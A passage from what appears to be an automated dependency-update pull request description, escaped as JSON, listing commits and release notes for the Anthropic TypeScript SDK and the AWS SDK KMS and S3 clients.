fast fallback at standard speed (\u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/943\"\u003e#943\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/38d0ab4b8e1c9bb763e32362f98f277de86aecb8\"\u003e\u003ccode\u003e38d0ab4\u003c/code\u003e\u003c/a\u003e feat(api): add between_tools to thinking types in model capabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/366b53b2dbf205fce164a532dd919f64e5f40186\"\u003e\u003ccode\u003e366b53b\u003c/code\u003e\u003c/a\u003e chore(docs): describe headers on Managed Agents and telemetry endpoints\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/ca50812ed769a40510bb2f9e5e232e95cdd376f1\"\u003e\u003ccode\u003eca50812\u003c/code\u003e\u003c/a\u003e docs(api): note that some models need a beta header to use speed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/03f6012e6d6d25fe5402674a4f525f7c52a27a22\"\u003e\u003ccode\u003e03f6012\u003c/code\u003e\u003c/a\u003e fix(helpers): honor speed overrides from fallback entries when streaming (\u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/942\"\u003e#942\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/88bf0348f005aff54d6de535b3684c8ec7876b3b\"\u003e\u003ccode\u003e88bf034\u003c/code\u003e\u003c/a\u003e docs(changelog): shorten the OpenTelemetry tracing note (\u003ca href=\"https://redirect.github.com/anthropics/anthropic-sdk-typescript/issues/941\"\u003e#941\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/7c807a0d94de53d8484dca989fdd50977a29ae2e\"\u003e\u003ccode\u003e7c807a0\u003c/code\u003e\u003c/a\u003e fix(client): close streams dropped without being read to the end\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/commit/64758f63568ecf53dae4e2573d4d0af6a69a8341\"\u003e\u003ccode\u003e64758f6\u003c/code\u003e\u003c/a\u003e feat(api): add the speed parameter and usage.speed to Messages\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/anthropics/anthropic-sdk-typescript/compare/sdk-v0.115.0...sdk-v0.135.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-kms` from 3.1146.0 to 3.1153.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-kms's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1153.0\u003c/h2\u003e\n\u003ch4\u003e3.1153.0(2026-10-19)\u003c/h4\u003e\n\u003ch5\u003eChores\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e  consume JSON codec from \u003ccode\u003e@​smithy/core\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8335\"\u003e#8335\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/412d1362e9d60979d3e11e7396e2598872b55773\"\u003e412d1362\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate codeowners (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8365\"\u003e#8365\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/00c08848a20fb3870a839e089499bf72c5f5075d\"\u003e00c08848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecodegen:\u003c/strong\u003e  sync for JSON codec and schema server plugin (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8353\"\u003e#8353\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e3e350b59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  resolve changelog path by resolved location (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8356\"\u003e#8356\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3f50ee0831e219e47519de8d6adf64b2a0396b41\"\u003e3f50ee08\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codepipeline:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/75cdc917412a0ac35ca4257ccabae052df793f1b\"\u003e75cdc917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-devops-agent:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5ff30e27b6a887a1f59d0dceb80223cb76df9bcc\"\u003e5ff30e27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding a new Expected Bucket Owner optional field for GuardDuty publishing destination APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/2b62c86019889b1c992d13487de415115279fbf8\"\u003e2b62c860\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  This release adds ActionConfiguration to PutMetricAlarm, PutCompositeAlarm and PutLogAlarm. It allows customers to include an alarm's tags in its notifications and alarm state change events (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ae7349077d8a6917a553b468f1f9704f63b7afa3\"\u003eae734907\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-observabilityadmin:\u003c/strong\u003e  Adding support for EKS Container Insights Telemetry Rules (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3c63647d7897d553f1f00e36de54eb5f94c263b7\"\u003e3c63647d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-xray:\u003c/strong\u003e  Adds support for encrypting the Transaction Search spans log group with a customer managed AWS KMS key. Pass the key ARN in the new CloudWatchLogsConfiguration.SpansLogGroupKmsKeyId field of UpdateTraceSegmentDestination. X-Ray applies the key when it creates the log group. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/154d49fd78ab2bda589b4a03f3a7061efbb859d0\"\u003e154d49fd\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-databrew:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/67b90539ed1ba3cfc683e6c0276b41f8ae89b99f\"\u003e67b90539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent:\u003c/strong\u003e  Adds Retrieval Instructions for Amazon Bedrock Knowledge Bases. Create, get, update, delete, list, and version customer-authored instructions that guide how a knowledge base retrieves and answers, with content review before use. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d16d5176d8e0809b948c9a32eb5778b05c2c1e7b\"\u003ed16d5176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-emr-containers:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4ba3e7bbab14ce31280b6beb74afdbadc9b8049e\"\u003e4ba3e7bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent-runtime:\u003c/strong\u003e  Adds support for applying a Retrieval Instruction, optionally by version, to AgenticRetrieveStream requests for Amazon Bedrock Knowledge Bases, and reports the applied instruction and version on the trace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a065ceb4d25bc8a810712d7319a37e105ef2d8af\"\u003ea065ceb4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-dynamodb:\u003c/strong\u003e  Enable account endpoint generation for existing CN and GovCloud regions (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca19aa35fd5555729bb74037015e8c97499cb642\"\u003eca19aa35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-datazone:\u003c/strong\u003e  Adds SDK and CLI support for the Iceberg REST catalog connection types already available in Amazon SageMaker Unified Studio - ICEBERGRESTCATALOG, SNOWFLAKEICEBERGRESTCATALOG, and DATABRICKSICEBERGRESTCATALOG. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/589405154b0a66e2ea212629dea13241fde0f2cc\"\u003e58940515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-drs:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/50b058d144b917125aa49d08a8b3fbf34c716b5b\"\u003e50b058d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-amplify:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7e7cacf5a108ddde97b1604a21e9cc242ac0c114\"\u003e7e7cacf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agentcore:\u003c/strong\u003e  Adds the Builtin.FailureAnalysis evaluator for batch evaluations. GetBatchEvaluation now returns insightResults that group session failures into insights with root causes and suggested fixes. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/e34db602ee2b503787aa6a773d9bfbb6a25ed1c1\"\u003ee34db602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codecommit:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f6d27955eafb97949159410ad7e42b0decc07237\"\u003ef6d27955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-controltower:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/60659ee5353e375121fd3fdc683511243ef338e0\"\u003e60659ee5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces:\u003c/strong\u003e  Adds optional imageValidationMode enum to ImportCustomWorkspaceImageRequest. This allows customers to opt-in to having prevalidation run in the service account instead of customer account. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/38638dc747e9d3d6959eba0b23f3c962ec6b9307\"\u003e38638dc7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect GetAttachedFile API now supports an optional UrlContentDisposition parameter. Set it to INLINE to get a pre-signed URL that displays the file in the browser, so agents can preview email attachments without downloading them. ATTACHMENT (download) remains the default. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/81ad4d8e306be2b96e79d97bf179de424ec649c8\"\u003e81ad4d8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch-logs:\u003c/strong\u003e  Amazon CloudWatch Logs now supports filtering DescribeDeliverySources by resourceArns, DescribeDeliveryDestinations by names, and DescribeDeliveries by deliverySourceNames. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/01e43f5704d34499152ec8099746afe49fbafed7\"\u003e01e43f57\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-grafana:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4971fd765b459428dcf433eb104a241bef5cbb62\"\u003e4971fd76\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-socialmessaging:\u003c/strong\u003e  Adding support for WhatsApp Direct Send. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0721adf50944d4077ff8b6327e7c145c4edd5f48\"\u003e0721adf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-timestream-influxdb:\u003c/strong\u003e  Adds four new parameters to the InfluxDBv3Enterprise parameter group for Amazon Timestream for InfluxDB. The new parameters are upgradePachaTree, walBufferSize, snapshotSize, and snapshotDuration. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f97769a6cd4a346e2522ee0f288b006a835a8bc\"\u003e1f97769a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codedeploy:\u003c/strong\u003e  Adds support for suspending Amazon EC2 Auto Scaling processes during CodeDeploy EC2 in-place deployments. Use ec2DeploymentOptions to choose which processes are suspended and resumed. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/43c16517dc79ef4e519688a06820ddf07730cb9d\"\u003e43c16517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codestar-notifications:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b2679b610245c018d9e0e469549b79d5208f3dd0\"\u003eb2679b61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ecs:\u003c/strong\u003e  Adds support for configurable envoy application log levels. Customers can now debug network connectivity issues with their task's sidecar envoys. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/fca981d8614d2254efc0dedf3f01217ede005b73\"\u003efca981d8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-opensearch:\u003c/strong\u003e  Amazon OpenSearch Service adds a new TLS security policy to support FIPS policy and post-quantum cryptography (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f035263194102654c4cc6aa9d71579c19b9404d3\"\u003ef0352631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces-instances:\u003c/strong\u003e  ModifyVolume is a new public API for WorkSpaces Core Managed Instances. Customers can change the size, type, IOPS, or throughput of an existing managed volume online, with no stop required. Customers track progress by calling EC2 DescribeVolumesModifications directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7689ba6bcf82d36b26a4f7267a97b1b33f459b63\"\u003e7689ba6b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-iot-wireless:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/202f66a716eedc953d9d0a2471e80f03d3ae3756\"\u003e202f66a7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etoken-providers:\u003c/strong\u003e  await in-flight SSO token refresh (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8363\"\u003e#8363\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a8459b35151dac985633a889a6d2fed51ef0b884\"\u003ea8459b35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  include preview/ in dependency version checks (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8362\"\u003e#8362\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ef0483d3f70550c3f4cddce2f930484bf4c48761\"\u003eef0483d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-kms/CHANGELOG.md\"\u003e@​aws-sdk/client-kms's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1152.0...v3.1153.0\"\u003e3.1153.0\u003c/a\u003e (2026-10-19)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1151.0...v3.1152.0\"\u003e3.1152.0\u003c/a\u003e (2026-10-14)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1150.0...v3.1151.0\"\u003e3.1151.0\u003c/a\u003e (2026-10-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1149.0...v3.1150.0\"\u003e3.1150.0\u003c/a\u003e (2026-10-12)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1148.0...v3.1149.0\"\u003e3.1149.0\u003c/a\u003e (2026-10-09)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1147.0...v3.1148.0\"\u003e3.1148.0\u003c/a\u003e (2026-10-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-kms\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1146.0...v3.1147.0\"\u003e3.1147.0\u003c/a\u003e (2026-10-06)\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35085844c581d910f51deea1b2de48f6b4ffa704\"\u003e\u003ccode\u003e3508584\u003c/code\u003e\u003c/a\u003e Publish v3.1153.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e\u003ccode\u003e3e350b5\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for JSON codec and schema server plugin (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-kms/issues/8353\"\u003e#8353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3ce8aa778c22193dad5f7fcefe239e3a74a3cd4f\"\u003e\u003ccode\u003e3ce8aa7\u003c/code\u003e\u003c/a\u003e Publish v3.1152.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d6adfcb7baa396dd42060a74382b6aa2a1cbf0b5\"\u003e\u003ccode\u003ed6adfcb\u003c/code\u003e\u003c/a\u003e Publish v3.1151.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4c9a334a79b631cc110fb3a1d67695b4c07baf46\"\u003e\u003ccode\u003e4c9a334\u003c/code\u003e\u003c/a\u003e Publish v3.1150.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a960c14e8ce09ab8fd09352e40d75c6b9d52c1ca\"\u003e\u003ccode\u003ea960c14\u003c/code\u003e\u003c/a\u003e Publish v3.1149.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5773a7515472dbdf2760c61e4a462b71800c50e7\"\u003e\u003ccode\u003e5773a75\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for endpoint cache fix and pre-schema error fallback (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-kms/issues/8\"\u003e#8\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1bc04256c276089739faa71754dba4fde75e05aa\"\u003e\u003ccode\u003e1bc0425\u003c/code\u003e\u003c/a\u003e Publish v3.1148.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/663046d58796f32069e5198f95a3070b2f5ef969\"\u003e\u003ccode\u003e663046d\u003c/code\u003e\u003c/a\u003e Publish v3.1147.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commits/v3.1153.0/clients/client-kms\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-s3` from 3.1146.0 to 3.1153.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-s3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1153.0\u003c/h2\u003e\n\u003ch4\u003e3.1153.0(2026-10-19)\u003c/h4\u003e\n\u003ch5\u003eChores\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e  consume JSON codec from \u003ccode\u003e@​smithy/core\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8335\"\u003e#8335\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/412d1362e9d60979d3e11e7396e2598872b55773\"\u003e412d1362\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate codeowners (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8365\"\u003e#8365\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/00c08848a20fb3870a839e089499bf72c5f5075d\"\u003e00c08848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecodegen:\u003c/strong\u003e  sync for JSON codec and schema server plugin (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8353\"\u003e#8353\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e3e350b59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  resolve changelog path by resolved location (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8356\"\u003e#8356\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3f50ee0831e219e47519de8d6adf64b2a0396b41\"\u003e3f50ee08\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codepipeline:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/75cdc917412a0ac35ca4257ccabae052df793f1b\"\u003e75cdc917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-devops-agent:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5ff30e27b6a887a1f59d0dceb80223cb76df9bcc\"\u003e5ff30e27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding a new Expected Bucket Owner optional field for GuardDuty publishing destination APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/2b62c86019889b1c992d13487de415115279fbf8\"\u003e2b62c860\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  This release adds ActionConfiguration to PutMetricAlarm, PutCompositeAlarm and PutLogAlarm. It allows customers to include an alarm's tags in its notifications and alarm state change events (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ae7349077d8a6917a553b468f1f9704f63b7afa3\"\u003eae734907\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-observabilityadmin:\u003c/strong\u003e  Adding support for EKS Container Insights Telemetry Rules (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3c63647d7897d553f1f00e36de54eb5f94c263b7\"\u003e3c63647d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-xray:\u003c/strong\u003e  Adds support for encrypting the Transaction Search spans log group with a customer managed AWS KMS key. Pass the key ARN in the new CloudWatchLogsConfiguration.SpansLogGroupKmsKeyId field of UpdateTraceSegmentDestination. X-Ray applies the key when it creates the log group. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/154d49fd78ab2bda589b4a03f3a7061efbb859d0\"\u003e154d49fd\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-databrew:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/67b90539ed1ba3cfc683e6c0276b41f8ae89b99f\"\u003e67b90539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent:\u003c/strong\u003e  Adds Retrieval Instructions for Amazon Bedrock Knowledge Bases. Create, get, update, delete, list, and version customer-authored instructions that guide how a knowledge base retrieves and answers, with content review before use. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d16d5176d8e0809b948c9a32eb5778b05c2c1e7b\"\u003ed16d5176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-emr-containers:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4ba3e7bbab14ce31280b6beb74afdbadc9b8049e\"\u003e4ba3e7bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent-runtime:\u003c/strong\u003e  Adds support for applying a Retrieval Instruction, optionally by version, to AgenticRetrieveStream requests for Amazon Bedrock Knowledge Bases, and reports the applied instruction and version on the trace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a065ceb4d25bc8a810712d7319a37e105ef2d8af\"\u003ea065ceb4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-dynamodb:\u003c/strong\u003e  Enable account endpoint generation for existing CN and GovCloud regions (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca19aa35fd5555729bb74037015e8c97499cb642\"\u003eca19aa35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-datazone:\u003c/strong\u003e  Adds SDK and CLI support for the Iceberg REST catalog connection types already available in Amazon SageMaker Unified Studio - ICEBERGRESTCATALOG, SNOWFLAKEICEBERGRESTCATALOG, and DATABRICKSICEBERGRESTCATALOG. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/589405154b0a66e2ea212629dea13241fde0f2cc\"\u003e58940515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-drs:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/50b058d144b917125aa49d08a8b3fbf34c716b5b\"\u003e50b058d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-amplify:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7e7cacf5a108ddde97b1604a21e9cc242ac0c114\"\u003e7e7cacf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agentcore:\u003c/strong\u003e  Adds the Builtin.FailureAnalysis evaluator for batch evaluations. GetBatchEvaluation now returns insightResults 